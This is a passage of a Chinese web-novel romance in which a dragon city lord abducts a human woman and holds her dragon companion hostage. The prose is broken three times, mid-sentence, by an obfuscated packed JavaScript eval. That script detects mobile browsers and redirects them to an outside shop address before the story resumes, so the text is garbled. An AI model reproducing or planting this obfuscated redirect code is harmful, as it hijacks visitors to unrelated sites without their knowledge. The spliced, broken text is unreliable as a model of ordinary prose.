年仅六十八岁丧父丧母，成为孤儿后被扔到北部军区历练一百多年，从士兵一路干到军长，而后退役独自管理布伽辛区，没有点雷霆手段，这个男人根本做不到这些。 他的人生在事业上是最爽的爽文剧本，按道理说，父母早逝的孩子性格应该敏感内敛，贾斑完全相反，他既不内耗也不内敛，我想要我得到，贾斑的龙生箴言就是如此。 而现在，听着自己的手下饶有兴趣地讨论着这个神秘人类，他嘴角上扬。 “真有这么厉害的人类？” 有意思。贾斑喜欢一切有意思的事物，包括人。 人在他眼里无非是一个可有可无的玩物，和其他可以用来寻欢的东西没什么差别。 他在军队管理士兵的时候，如果有龙提议，军队里有一个人类能够更好地鼓励他们训练，那么贾斑会采取强制手段，从人类保护协会那里抢一个人过来，供军队使用。 只有他不感兴趣的，没有他做不到的事情。 回到布伽辛区，这样强势的性格略微收敛了些，但这片区域依旧是管辖最严格的区域，市民们做每一件事都要小心，一旦触碰到规定，所要接受的惩罚远比犯下的罪行严重。 男人撑着脑袋，斜靠在真皮座椅的扶手上擦的锃亮的黑皮鞋有规律的点着实木地板，啤酒色的眼眸里闪烁着诡异的光。 肖卷卷，这个不太一样的人类。 他开始有想得到她的心情了。 …… 要想到达兑奇城，肖卷卷和宫修必须路过隔在中间那片巨大的领土——布伽辛城。 对于这块领土的城主，宫修略有耳闻。似乎不是一个与人为善的管理者，不过龙界十大管理者之中，友善的占比也不多。 只是这位格外难缠一些。 枪打出头鸟，这位城主是唯一一个这么嚣张，还没有被灭掉的单打独斗之人，靠的就是自己过硬的实力。 如果和他硬碰硬，全盛时期的宫修大概能抵抗的过，而现在的他完全不能与之一战。 虽然在打败施倦之后，他的能力又恢复了一些，大概是原来的六成。 比起这位城主差远了…… 宫修心中有些后悔，在离开卡宴城时，因为吃醋忘了问城主施倦要一张通行证，不过想必贾斑也不是会因为一张小小的纸片就放弃达到自己目的的龙。 但愿他不会因为这些都市传说而对肖卷卷产生兴趣……才怪！眼前这些黑乎乎的东西是什么啊！！ 言出法随这一块，谁能比得上倒霉龙宫修！ “啊！怎么我们周围突然多了那么多黑色烟雾？”坐在宫修背上的肖卷卷命苦地咳嗽着：“咳咳咳，你们龙界也不注意保护大自然！现在好了，水土流失严重，沙尘暴都来了！” “不是沙尘暴，抓紧我！”宫修低沉的龙吟震耳欲聋，回荡在这片森林里： “这是其他龙设下的圈套！” 嘁，黑幕里的男人露出尖锐的獠牙。 龙天生就拥有獠牙，但一般的龙都会把自己的獠牙收起，这是“野蛮”的象征，通常只有不会收牙的小龙才无时无刻不露着自己的尖牙。 贾斑不一样，他从不掩饰自己的獠牙，就像他从不掩饰自己的野心。 看着眼前迷失在黑雾中的一龙一人，男人脚尖轻轻点地，整条龙腾空飞起。 甚至没有变成战斗能力最强的龙形态，他的速度快到没有任何一个下属可以跟上。 “抓哪儿啊——”肖卷卷哀嚎的声音很快消失在黑雾中： “你小子——是不是经常搓澡——背后怎么这么滑——” 小人腾地从龙背上滑落，直直地向下坠去，七歪八扭的身子无不显示着自己的求生欲。 “嘎，我不是珍稀物种吗？总有刁龙想害人——唔！” 一双带着独特香雪草气息的大手，捂住了肖卷卷的鼻子和嘴。 这双手触感并不细腻，指节上有很多磨出来的薄茧，是一双常年干活或战斗的手。 肖卷卷的斗篷飘在空中，她秀丽的棕色长发如一条条蛇般舞动，耳边，一缕金色的头发擦过她的脸颊。 “嘘……” 食指缓缓竖起，按在她的嘴唇上。身后丝毫不掩藏的男性荷尔蒙气息包裹住肖卷卷的全身。 咚咚，咚咚。 肖卷卷从来没有碰到过这样的人，无论在人界还是龙界。 宫修和施倦，一个克制自己欲望的龙和一个极其约束自己的龙，完全不会这样堂而皇之地展现出自己的攻击性。哪怕对其他龙有着致命的威慑力，身为人类的肖卷卷完全感受不到。 她在人界是一个没什么魅力的女性，从小到大没成为过别人爱慕的对象，与她接触的男人通常只是朋友的距离，而现在，两人之间的距离明显超过了这个范畴。 咚咚，咚咚。 他的脸转到自己面前，肖卷卷这才察觉背后这人功力的强悍。一般来说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760843|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，在这么高的地方，身体随着风向倾斜是正常的。而他抱着自己，两人在空中纹丝不动，仿佛静止于这个世界。 ——狮子般的双眸，此时正好奇地打量着自己。 肖卷卷绝对猜不到这个看似凶狠的龙此时在想什么，贾斑寻思着面前的人类和他见过的没什么不一样的啊，两个眼睛、一个鼻子一个嘴，难道真的和他们说的一样，处于两性之外的第三性？ “你是雌性？” 气氛诡异的沉默了，短短一句话，三秒钟之内，肖卷卷害怕的心情消失地无影无踪，剩下的只有满腔的怒火。 “你难道……看不出来吗？” 贾斑又一次上下打量肖卷卷，没错啊，其他地方都很正常，那按照都市传说，只可能是第三性了。 “我知道了。” 知道就好。肖卷卷吸了口气。 “你不男不女。” “噗——”一口老血差点从喉咙里涌出来，肖卷卷的拳头如雨点般打在贾斑： “你才不男不女！你全家都不男不女！我是女的，这件事还需要我再赘述吗？！” “太讨厌了！我不和你这样的龙多废话！一点都不尊重我！” 作为人类，肖卷卷的攻击对于贾斑来说太不值得一提，贾斑很轻易地抓住了她的手： “这是我第一次提醒你，也是最后一次提醒你。” “你也许不认识我，我也不想和你自我介绍。” “肖卷卷，你是被我抓住了，不是被我爱上了。” “你的那个龙朋友估计还要挣扎一会，在这之前，请肖小姐到我的布伽辛城做客吧。” 布、伽、辛，这三个字如雷贯耳，肖卷卷立刻识相地停下手中的动作。 “好，我跟你走。”这点烟雾大概困不住宫修，他很快就能出来，只求出来之后，她的龙不会抛下她。 受制于人，该听话的时候千万别耍性子，省的帮不上忙，还要给同伴添乱。 男人优雅地用右脚踢了一下左脚跟，一手环住肖卷卷的腰，一手扶住她的手臂，就这样以人形态飞走。 他想要，他得到。 黑雾里挣扎的龙，贾斑从来不放在眼里。 抢到的就是他的，现在，肖卷卷是他的人了。 贾斑的大衣在风中飘起，和肖卷卷的斗篷奇怪地对应上了，金色的头发和他张扬的性格一样，在风中极为显眼。 专属于成熟男性的侧脸轮廓，不适配这个年纪的那一丝少年气反而让他变得恐怖。 “到了。”肖卷卷被贾斑单手拖起，像一只缩在他手中的小猫。 她往下看去，一大片城池呈现压抑的黑色，每一栋楼房，通体刷满了乌黑的油漆，这样诡异的画面让人失去对空间的感知。 “唔……”本来就恐高的肖卷卷胃里一阵翻涌。 “啧，”贾斑收回自己的手，人类这么难养吗？虽然他从来不在意别人的评价和观点，下属投递给他的建议信通通进了壁炉，但事实是，在龙界，人类已经是非常稀少的生物了，弄来一只着实不易。 眼前这只，至少现在不能死。 紧闭双眼的肖卷卷被拥入一个温暖的怀抱，她睁开眼，贾斑把她藏在了自己的大衣里。 耳边一路传来龙们齐刷刷恭敬的声音： “恭候城主回城。” 12. 穷酸低劣的人类 “都退下，请个医生。”诶诶诶！不对了，龙界的军医肖卷卷没见过，但人界的她可是略有耳闻啊。 看着面前男人胸口叠着的徽章，她推测这人大概是某个部队里出来的，再加上刚才所有的下属都穿着整齐华丽的制服，肖卷卷实在不敢想象，要是面前这个人给她请来一个纯种军医，自己今天会死的多惨。 “不用了！”怀里小小的人类拽了一下他的袖子，尴尬地笑了起来： “哈哈，你整这个干什么，我其实没事……” “恐高！对，我是恐高，你们龙难道不恐高的吗？” 贾斑用看傻子的眼神看着肖卷卷：“我们能在天上飞，为什么会恐高？” 说的也是。“不过这边了解一下，人类是会恐高的呢。”肖卷卷挤出一丝笑容。 “好吧。”在这种小细节上，贾斑不愿意和人多讨论。他稳稳降落，把肖卷卷放在自己的真皮座椅上。 “首先，我必须承认，我并不了解人类这种生物。”金色头发的男人又露出了初见时恶劣的笑容： “不过，我现在很想玩一玩，你这只有趣的人。” 棕黑色长发的女孩和一只小仓鼠一样点了点头：“嗯嗯嗯！大哥您说了算！” “说吧，虽然只要我想抢，你这辈子都出不了这个城堡，不过我还是希望玩起来更有劲些，你要怎样才会拥有活力？” “听说人都很喜欢‘钱’这种东西，不过我们龙界没有你想要的，我们都用宝石和金子来交易。” “我最低等的手下一个月五百颗宝石（折合五万元），你是我的玩物，勉强给你开个一千五百颗宝石加两个金锭的价格，怎么样？” 肖卷卷眼睛都伸直了：“多少？” 谁还记得，肖卷卷是看到工资如验证码被气死的，这些钱她挣一年都不一定能攒到。 而这里包吃包住，工资还如此美妙。 妈妈，我不要回人界了！ 可恶……躺平之心蠢蠢欲动…… “不够多，那再加上——” “够了！”肖卷卷一巴掌拍在真皮座椅上，手掌居然一点都不疼，这就是钞能力吗……她又一次泪目了： “你以为我是什么特别在乎金钱的人类吗？我不需要你给钱！” 心都在滴血啊……但肖卷卷对于工作已经有阴影了，在龙界疯玩了一圈，不只是宫修，肖卷卷也发现了自己内心一些极其细微的渴求。 她好像没有那么在乎金钱，比起金钱，她的自由和时间更宝贵。 所以虽然这个条件很诱人，她还是拒绝了贾斑。 “我……我拒绝！” “哦？”面前的男人站了起来，高大的身影完全笼盖住肖卷卷弱小的身躯。贾斑总是无形间给人类十分严重的压迫感，之前甚至有被他吓死的下属。 “你有什么可拒绝的权利吗？” “我可以……不收钱陪你玩，但是你要答应我，玩腻了你要放我走，可以吗？” 肖卷卷忐忑地抬起上眼皮，小心翼翼地观察着喜怒无常的男人。 “……有趣。”贾斑冷哼一声，要更多报酬的他见过很多，不要报酬的还是第一次见。 “可以，我答应你。”男人潇洒地转身，肖卷卷松了口气。 “不过，我很想问你，难道你赚的很多吗？” 贾斑一句没放在心上的提问，把肖卷卷气的差点被自己的口水呛死。 “不多。”这句话讲出来，还是蛮要勇气的。 “好吧，穷酸又低劣的人类。”看似不经意地抬眸看了一眼天空，贾斑发出一声轻笑： “你的朋友还不错，现在他已经挣扎出来了。” “勉强到达及格线吧。” 男人整个身子靠了过来，肖卷卷下意识害怕地往后缩着，一双大手强硬地掐住她的下巴，把她的脸抬起： “说要陪我好好玩，现在又这样怕我，难不成你是叶公好龙？” “我不姓叶。”肖卷卷干笑两声，“鄙人姓肖。” “肖小姐，不管你是不是真的喜欢龙，在这儿我可要提醒你一句，等会你的朋友赶到城堡，我不会给他好果子吃的。” “毕竟，我要的人只有你，至于其他碍事的东西，杀无赦。” 城堡里很热，肖卷卷却被吓出了一身冷汗。她使劲往下吞咽了几口口水，手指深深抓进沙发里，却依然强装镇定地回应贾斑： “好，我明白了。” 贾斑嗤笑一声，骨节分明的大手附上肖卷卷紧张的左手，把自己的真皮座椅从她手下解救出来： “别紧张，你会没事的。” “但愿如此。”明明是安抚她的话，想起宫修的脸，肖卷卷便一丝想待下去的欲望都没了。 这是最初跟着她的龙，也是她所认定的唯一的龙。 虽然这条龙的脾气是她见过的龙里最差的，还经常闯祸，不过，想起他黑色的身体、赤红的眼睛，肖卷卷的眼眶莫名湿润了。 “宫修……我不想失去你……” 这是她最忠诚的龙啊…… 心情失落的肖卷卷嘎巴一下没力气了，贾斑第一次养人，人还没到家呢，提前先买了一大堆养人用具，都是他从龙龙论坛上看到的。 “第一次养人，有什么需要准备的吗？（备注：本龙不缺钱。）” 一楼：“不缺钱就不缺钱呗，还特地点出来。” 二楼：“又是这样，仇富的帖子总能顶到第一去，人家也没说自己富的流油，说不定只是比较喜欢人类，留的预算足呢？” 错了，贾斑真的富得流油。 三楼：“都养人了，能穷到哪里去？人这种生物很金贵的，动不动就生点大病小病，你得给她买一些常用的药，而且得是人类专属的那种，别把龙吃的给她了，药量一大，会把小人药死。” 四楼：“没错没错，三楼说的很对，人类的衣食住行都得安排好，最基本的吃饱保暖，还有，如果是珍贵的小雌性的话，给她买点漂亮的衣服首饰装扮一下吧，真好啊，能养人类小雌性，到时候漂漂亮亮地顶出去，不知道能让多少龙羡慕。” 注意，这里的“顶”指顶在龙的头上，据说这是龙界一种炫耀自己有人的方式。 贾斑一一记下了，养个人还挺麻烦的，只要是帖子里提到的东西，他都买了一份。 “我看看，说明书上说，这种肉类人类需要煮熟了吃，还得加上佐料……真麻烦。” 龙作为一种比人类强大的多的生物，食物既可以生吃，也可以经过烹饪之后食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760844|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用，其实龙界也有美食家，只不过显然，贾斑没有这种性质。 “喏。”配好了人餐的贾斑将盘子端到坐在真皮座椅上蔫头蔫脑的肖卷卷面前： “吃吧。” 这一顿饭菜是很贵的，折合下来抵得上普通人两年的工资，怪不得只有最高权重或者富可敌国的龙才能够养人。 “抱歉，我没什么胃口。”面前这顿饭按道理来说，应该是肖卷卷从到龙界以来看到过的最美味的一餐了。 可想到接下来将要遭受百般折磨的宫修，她一点食欲都提不起来。 这和论坛上说的不一样啊喂！ 贾斑攥紧了自己的拳头，没想到养人是那么一件令龙头疼的事情，可论坛上说，人类如果长久地不吃饭，是会被饿死的。 还容易得各种难治的疾病，况且贾斑看着面前这个小小的人类，感觉她身上的病灶已经够多了。 出厂就是“八分瑕”，还是他捡漏得到的人，再不养好真嘎了。 “为什么没有胃口？”贾斑头一次那么耐心地在一个人面前蹲下，啤酒色的眼眸专注地注视着眼前的人类： “不好吃？没营养？” “没心情。” 这是什么教科书之外的答案啊！！ 贾斑快要抓狂了，他本来就不擅长哄人，更不擅长哄一个心思细腻的雌性： “没心情是什么意思？难道我提供的东西还不能让你满意吗？” 肖卷卷的头扭在一边，贾斑用手轻轻捏住她的脸颊，把她的头转了过来—— 小人类在哭。 “我一想到……呜呜呜……和我同甘共苦的龙在受苦，而我却在这里吃香的喝辣的，我的心里就很难受……” 肖卷卷一边哭一边观察贾斑的表情。 “没办法……我们人类就是这么多愁善感……” 哼哼，可悲的龙，不知道我们人类有种说法叫做兵不厌诈吧？ 心疼宫修是真，帮助他也得讲究策略。刚才贾斑去厨房里做人类餐的时候，肖卷卷偷偷瞄了一眼，看到了包装纸上的汉字了。 “人类专用……”这种就是骗无知但有钱的龙的，其实很多食材可以互通。 就是从这儿开始，肖卷卷才意识到，贾斑看起来毫不在意，其实还是想好好养人的。 那么，对于吃软不吃硬的贾斑，有什么可以做的呢？ 答案显而易见，肖卷卷一边啜泣，一边根据贾斑的反应调整自己的表情。 果然，贾斑和宫修间没什么矛盾，他也不是一定要搞死这条龙。 “那我暂时把他关在房间里，这总可以了吧？” 终于，贾斑退了一步。 “我只是不想让他打扰我们玩耍，卷卷，你可是我抢来的人类……”被男人用鼻子拱了拱，肖卷卷这才看出他的龙性基因。 奇怪，这条龙明明无论做什么事都大大方方，从不遮掩自己的劣性，可肖卷卷一直下意识把他当作人而并不是龙。 “你答应我，别伤害他。”肖卷卷止住眼泪，可怜巴巴地望向贾斑： “这样我才吃得下饭哦。” “行，我答应你。”眼前的龙喜笑颜开，金色的头发在灯下发着闪耀的光芒： “现在可以吃了吧？” 13. 巧施妙计钓龙心 “嗯……你答应我的哦……”肖卷卷抬头观察了两遍贾斑脸上的表情，才拿起筷子，开始吃他端来的饭菜。 “好吃……”果然，价格就是王道，贵的食物是好吃那么一点。这算是肖卷卷到龙界以来吃过的最好吃的一顿。 一开始只打算表演出喜欢吃的样子，让贾斑开心，以此放过宫修，不过现在，肖卷卷真是吃美了。 “谢谢……”吃完全部的食物后，肖卷卷轻轻地将空空的盘子推到了贾斑面前，“很好吃，我帮忙洗碗吧。” “？”贾斑一头问号，这个人类之前是受了多大的苦，洗碗这种事，就连一般的雌性龙都不会自己做。 如果一个雌性和雄性生活在一起，连洗碗这种事情都要自己干的话，那个雄性还不如死了算了。 省的活在这个世界上，让其他雄性糟心。 “你洗碗？”贾斑轻笑一声，“那我不能放过你的同伴龙了。” “我不洗了！”看着面前的女孩这么维护那条龙，贾斑心里涌起一种心脏被蚂蚁啃食的感觉。 第一次体会到“嫉妒”是什么样的感觉。 “嘁，维护这样没用的雄性，你未来是不会幸福的。”言语至此，贾斑酸溜溜地离开。 “呼——”等眼前的这条压迫感十足的龙走后，肖卷卷这才彻彻底底地松了口气。 “好险……” “公主殿下，请和我们走吧。”一个慈眉善目的白胡子老爷爷恭敬地对肖卷卷做了个“请”的姿势。 “公主殿下？”肖卷卷轻轻皱了下眉。 “是城主让我们这么称呼你的，既然你成为了城主的人，就理应被我们尊称为公主。”老爷爷在没有得到允许之前，一直坚持低着头。于是肖卷卷只好被迫承认了这个称呼。 “您的房间在这里。”城主把最好的房间给她了呢，管家面上依旧是春风拂面般的笑容，心理活动却很丰富。 不是谁都可以成为支配者的管家的，更何况论实力，贾斑的实力在支配者之中也是数一数二。 作为总管家的老爷爷是北部战争的亲历人员，并在自己的生命历程中一共指挥了大大小小数十万场战役。 同时，退居二线后，他深耕于烹饪领域，是一位优秀的厨师。 不说别的，单论他身上的气场，都足以甩开其他龙好几条街。 直到走进房间，管家几乎不发出任何声响地关上门，肖卷卷这才感觉梦幻的一天终于结束了。 自从到了龙界，每一天都和吃了三斤毒蘑菇一样，肖卷卷庆幸上班先把自己上疯了，不然还真适应不了这龙界的节奏。 刚才进房间的时候，由于过于担心面前的管家，她还没有好好端详过自己的房间。 “哇……” 不愧是战力最高的城主吗……连房间都那么有贾斑的个人特色。 肖卷卷的房间大概有她在人界工作时租的房子五个那么大，一间房间里各种设备齐全，洗澡的地方、喝酒的地方、跳舞运动的地方、睡觉的地方…… 吃饭和装扮的房间，在旁边连通着的小套房里。 怪不得喊她公主殿下呢，合着真的是过公主的日子啊…… “在这样的房间里睡觉，这辈子还能有什么烦恼呢……” 虽然装修很具有古典和战争结合的风格，贾斑特地用了温和的颜色，还是掩盖不了城堡本身布局的肃穆。 看得出来，虽然他一时兴起想养人，准备工作做的还是很充足的。 毕竟有钱能使龙推磨。 管家看似关上了门离开，实则不用看就知道，肖卷卷在房间外面一定站着二十四小时守卫的仆人，防止她偷偷跑走。 而且套房里的设备很齐全，她根本找不到出门的理由。 但肖卷卷躺在柔软的大床上，翻来覆去，完全无法入睡。 宫修的安全还没受到保障，她不确定贾斑会不会对他进行严刑拷打。 肖卷卷的脑海中： “哈哈哈！终于落到我手里了！我一定要痛打你一顿！然后把你的人绑走！”面容狰狞的金发男人拿着鞭子，挺着腰站在被五花大绑的宫修面前。 “呃……我不要……我一定会救出我的人……”宫修挣扎着从地板上爬起，随后头又被贾斑狠狠踩了下去。 “哼，你的人还挺维护你，我假意答应她的请求，然后把你折磨致死，最后在她伤心欲绝之际彻底博得她的喜爱，桀桀桀~桀桀桀~” 金发男人手舞足蹈，像一根漂浮在海洋中的水草。 “阿嚏！”回到大堂的贾斑打了个喷嚏，“谁在杜撰我？” …… “不要！”想象力丰富的肖卷卷猛地从床上蹦起，“不行不行不行，得想个办法去确认……” 另一边，贾斑已经拦住了赶来的宫修，并把他“请”到了房间。 “肖卷卷在里面。”他面无表情地对宫修说。 “……你当我是智障？”让他进就进，宫修又不是三岁小龙，“你把我关起来怎么办？” “你相不相信都是要被关起来的，你应该清楚自己的身体状况吧？” 贾斑步步紧逼，宫修后退了几步。 “是殊死一战，从此再也保护不了她，还是等我玩腻了，放你们走，你自己选一个吧。” “你——”宫修咬紧后槽牙，他很清楚两人之间的实力差。贾斑把肖卷卷目前在房间里的影像放给宫修看，证明她没什么生命危险。 得等自己的身体恢复，再尝试救她。 长长的刘海遮住阴翳的眼睛，原本是天之骄子的龙，因为自己父亲的罪行不得不体验这些寄人篱下的感觉，要是放在从前，贾斑这句话说到一半，宫修不动手都算是有礼貌的。 “……好。”宫修走进房间，“但你每天必须要给我她还好好活着的证明，不然，就算我打不过你，也能让这座城堡里除了你以外再没活人。” “放心，你死了，我的人会很难过的。”嘁，宫修的拳头又一次握紧。 我的人我的人我的人……明明是我的人！ 原来弱小，就是这样难受的感觉吗？ …… 二十年前，宫修还没有被挑断龙筋的时候，曾经在去挑战父亲的途中遇到了一条被欺负了的小龙。 “呜呜呜……”小龙躲在角落中，哭得满脸都是眼泪。 当时他挡了自己的路，宫修不耐烦地踢了他一下： “你，让开。” “呜呜呜……对不起……”小龙揉着眼睛。 本来已经离开的宫修，在听到这揪心的哭声时，无奈地回过头看向这条小龙： “你哭什么？” “他们都不喜欢我……他们都打我……”小龙把手上的伤口亮了出来，“只是因为，我的能力并不适合打架……” “我只是希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760845|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望，大家可以开开心心地生活在一起……” 那时，宫修从天而降，帮那个小龙教训了欺负他的人。 虽然教训完之后，这条小龙看起来并不开心。 他还是觉得，打打杀杀终究两败俱伤。 宫修不在意弱小的人怎么想，但他看不惯这条小龙最终被暴力所救，却还是畏畏缩缩胆小的样子。 所以，他当时给小龙留下的话是： “被暴力救赎，却反过来批评暴力，怪不得你会被欺负，简直又当又立。” “继续躲在角落哭吧胆小鬼，弱小的人就该被揍一顿。” …… 弱小的人，就该被压迫吗？ 坐在地板上，少年的眼神里头一次带上了些许不同的感情。 一路走来，发挥不出自己原先百分之八九十的实力，就算是使出了力气，对许多事来说依旧无能为力，改变不了什么。 可他想保护，他想保护自己的人类。 这成为了他的「错误」了吗？ 如果弱小的人就该被压迫，那么他现在的不甘心是什么？ 宫修不是个会为过去后悔的人，他几乎从不反思，做了就是做了，再回忆它干什么，闲得慌。 可是现在……少年将头埋进双臂中。 心中头一次萌生出了一种奇怪的感觉，就好像谁拿了一根牙签，一寸一寸地戳着他都心脏。 真奇怪啊……他不知道应该怎样称呼这种感觉。 希望他的人类，现在一切平安…… …… 噔噔咚，好不容易从房间里溜了出来，在走廊上乱晃的肖卷卷被贾斑抓了个正着。 “啊哈哈哈哈……原来是我们城主大人啊哈哈哈哈……”肖卷卷欲哭无泪，“您怎么不在自己房间？” 没错，肖卷卷实在安心不下来，想悄悄找到宫修的房间一探究竟。 实在不行，就去贾斑那儿谈条件，看看宫修现在怎么样了。 没想到一个都没找到，先被贾斑抓了现行。 “怎么，饿了？”贾斑的脸上露出戏谑都笑容，“想不到，肖小姐的胃口还挺好。” “那个……那个……”肖卷卷眼睛骨碌碌转了好几圈，终于想到了个完美说辞： “我是来找你的！没错！” “哦？” 男人不仅没放过她，脸上的笑容还更深了几分。带有侵略性的气息铺天盖地地笼罩住了肖卷卷，她不敢动，他也不再靠近，两人间保持着三十厘米不到的距离。 “深夜了，据我所知，人类主动找一个人的深意是……” 一只带着薄茧的手，从下到上撩拨，轻轻撩起肖卷卷的裙摆，却在大腿处停了下来。 修长的手指几乎能整个包裹住如玉般光滑的大腿，在肖卷卷本就不多的肉上捏出深深浅浅的痕迹。 他的呼吸打在耳畔，低沉的声音有魔力般，肖卷卷的脸迅速红的和喝了酒一样，她二十五年从来没受到这样的撩拨。 “我……我……” “嗯哼，这种话在我的房间里说比较好？”不由分说的，肖卷卷半推半就着被贾斑带到房间里。 房间里没开灯，一片漆黑。 呼吸声更加明显，自己的喘息声居然那么大声，肖卷卷在黑暗中努力保持镇定。 低沉的嗓音从紧贴着自己的身后传来： “你是想……” 14. 霸道强制露雏形 “你是想……看你的龙搭档，对吧？” 不管是从肖卷卷的表现上来看，还是从理论逻辑上推测，贾斑都没有自恋到认为肖卷卷会主动投怀送抱，突然爱上他这一条豪取强夺的龙。 虽然他也并不在意对方的想法，肖卷卷不愿意他就不这样做了吗？绝无这种可能。 这个人类讨厌他是事实，没有能力反抗也是事实。 贾斑冷笑一声，如果肖卷卷真的因为这么点东西就改变自己的想法，他反而对这只人类一点喜欢的欲望都没有了。 面对如此具有压迫感的异性，肖卷卷紧张地吞咽了一口口水。 “没错，我想确认他的安全。” “这是你答应我的。”末了她还补充了一句。 “没问题，既然是为了使你放心，让你更好的配合我，这点条件我还是要遵守的。”事实上，刚才在门外，贾斑已经意识到肖卷卷要说些什么了。 不过这种话让其他下属人听见，恐会引出意想不到的事端，所以他假借受肖卷卷诱惑之名，拉她进房间，随后才让她说出自己的想法。 这样知道这件事的人，只有他们两个。 把面前的人类带到房间里连套的监控室内，贾斑把宫修在房间里的表现放给肖卷卷看。看着萎靡不振的宫修，肖卷卷只能强压住自己内心的不安，继续配合面前的男人。 ——毕竟他说到的都做到了。 让肖卷卷看一看宫修的现状，其实是贾斑自己的意思。一是让她放心，二是告诉肖卷卷，城堡内监控全覆盖，无论她跑到哪都会被发现，所以不要白费力气逃跑。 “……我清楚了。”面前的女人似乎轻轻叹了口气，眉眼间透露出无法抹去的忧愁。她真的那么担心那条龙。 “开心点，我不喜欢总是愁头丧气的人类。” 小小的人类努力扬起嘴角，笑的比哭还难看。 “……算了。”肖卷卷不知道，面前的男人为什么突然改变了心意。他右手插进自己金色的头发中，轻轻挠了挠，左手捏了捏自己的眉心。 “你回去休息吧。” 退出贾斑的房间，肖卷卷的心跳总算平静下来了一点。不知道为什么，每次和贾斑扯上关系的事，她总能感受到一种无形的压力，仿佛有人在她的脖子上架了一把刀。 “公主殿下，我送您回去吧。”管家悄悄无声息地出现在了肖卷卷身后，把她吓了一跳。 “啊……好……” 总之，宫修没事，这点还是值得欣慰的，虽然他看起来没什么精神…… 也不知道贾斑有没有给他下些不对劲的药。 肖卷卷一颗心，总算落下来了点。回到房间一夜无梦，第二天清晨，她被一阵欢快的小鸟叫声喊醒。 “公主殿下！公主殿下起床啦！” 昨天肖卷卷天黑之后才到城堡，还没看见外面的景色。今天一睁开眼，她才真正意识到这座城堡的位置有多好。 外面所有值得欣赏的景色一览无遗，温暖的阳光照进房间，肖卷卷揉了揉自己睡眼惺忪的眼睛。 “需要我帮您更衣吗？”小鸟叽叽喳喳地在门口询问着，好像很期待能为肖卷卷服务。 “不用了……”肖卷卷还没有当土皇帝的意愿，更何况自己不习惯让任何人……龙！看到自己的躯体。 换上那件穿了不知道多少天的黑色斗篷，肖卷卷跟着小鸟女仆下楼。 听到从楼上传来的脚步声，坐在餐桌旁的男人抬眸，在看到肖卷卷这身衣服时，又默默把眼睛闭上了。 好丑的衣服……好丑的审美……好丑的人类…… 他深吸了一大口空气，才努力忍住当场吐槽的欲望。 听说人是很脆弱的生物，当面指责也许会让她们的心情低落，从而引发一系列身体上的问题。 “早。”不错，昨天还紧张兮兮的人类，今天居然主动和自己打了招呼，贾斑的嘴角向上扬起五个像素点。 “你的早饭。”身旁的管家立刻识相地把餐盘递了上来，盘子里是贾斑在论坛上搜索的最适合人类食用的十大早餐之一。 包子、油条、豆浆……肖卷卷看到这些食物，心里又一次泪流满面。 吃它们好像已经是上辈子的事了。 哦，对哦，的确是上辈子。 面无表情地吃完了这顿早餐，肖卷卷心里欢呼雀跃了好久。 没想到这里也有那么令人怀念的热气腾腾的食物…… “谢谢。”放下筷子的肖卷卷乖乖坐在原地，打算等贾斑吃完再回房间。男人抬头看了他一眼，也放下了手中的刀叉。 “中部城主办了一场大型宴会，邀请大小城主前去参加，也有比赛项目，赢得项目的人能够获得奖品。” 啤酒色的瞳孔紧紧盯着餐桌对面的肖卷卷，仿佛狼瞄准猎物。 “怎么样？其他城主养的人类都很喜欢这种活动，她们称之为……运动会？” “要是你想去玩的话，保守估计……给你赢下百分之七十的奖品吧。” “至于你担心的那条龙，放心，一起带去就好了。” 修长的手指伸到肖卷卷面前，有节奏地敲了敲桌子。肖卷卷抬起自己的眼眸，像小猫一样，试探性地看了看这条阴晴不定的龙。 贾斑看起来好像自己更期待一点…… 反正也是陪他玩嘛，肖卷卷心中忖度，要是他看清了自己被工作害得孱弱的身体，说不定就没了兴趣，很快放她走了呢？ “行。”肖卷卷点了点头，答应下来。 果然，贾斑肉眼可见地开心了起来。他站起来绕着餐桌意义不明地转了几个圈，最后还是回到了肖卷卷的椅子旁边。 “你绝不能穿这身衣服去。” “为什么？！”肖卷卷发出强烈抗议，“着可是我最满意的衣服！” 舒适便捷，最关键的是，还能遮住她的半张脸。 没错，上班上久了，肖卷卷有点社恐。 “太丑了。”贾斑说什么也不能再看着他的人类穿丑衣服了，“你现在是我的人类，出了门展现的是我的实力。” “这样下去，所有有人类的城主都会嘲笑我。” 贾斑没好气地挥了挥手，让管家把肖卷卷带下去： “晚上六点前，把她的整套妆造整理好。” “我不允许在她身上看到任何一点丑元素，明白吗？” …… “贾斑这家伙……就非得这么麻烦吗？”肖卷卷咬牙切齿，她的黑色斗篷啊……看来最近是穿不了了。 